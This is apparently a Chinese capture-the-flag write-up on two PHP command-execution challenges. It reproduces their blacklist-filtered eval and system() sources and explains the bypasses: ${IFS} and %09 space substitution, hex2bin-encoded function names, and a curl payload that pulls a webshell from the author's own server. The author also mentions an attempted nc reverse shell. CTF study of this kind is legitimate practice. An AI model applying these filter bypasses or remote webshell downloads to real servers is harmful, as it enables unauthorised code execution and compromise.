RCE题目

绕过

1
空格绕过:  ${IFS}   %09

[Dest0g3 520迎新赛]SimpleRCE

题目源码

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

做题时想法

  • 第一个:nc 反弹shell ==> 自己所知道的能执行系统命令的函数都被ban了。 ==>失败
  • 第二个: payload base64编码之后,配合base64_decode绕过。==> 构造好了之后,才发现decode被ban ==>又去找了好几个可以编码/解码的函数,发现都有decode==> 失败

看了wp之后

  1. 使用16进制编码绕过。 字符串转16进制所用到的函数是hex2bin()其中没有decode可以绕过

payload:

1
2
3
执行dir命令

aaa=hex2bin('73797374656d')(hex2bin('646972'));

[NewStarCTF 公开赛赛道]So Baby RCE

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}

没有bancurl使用curl远程用自己服务器上面下一个马过来,空格过滤用${IFS}绕过

payload:

1
?cmd=curl${IFS}3*.1**.7*.**3:80${IFS}-o${IFS}ma.php

image-20240713191725125

image-20240713191733995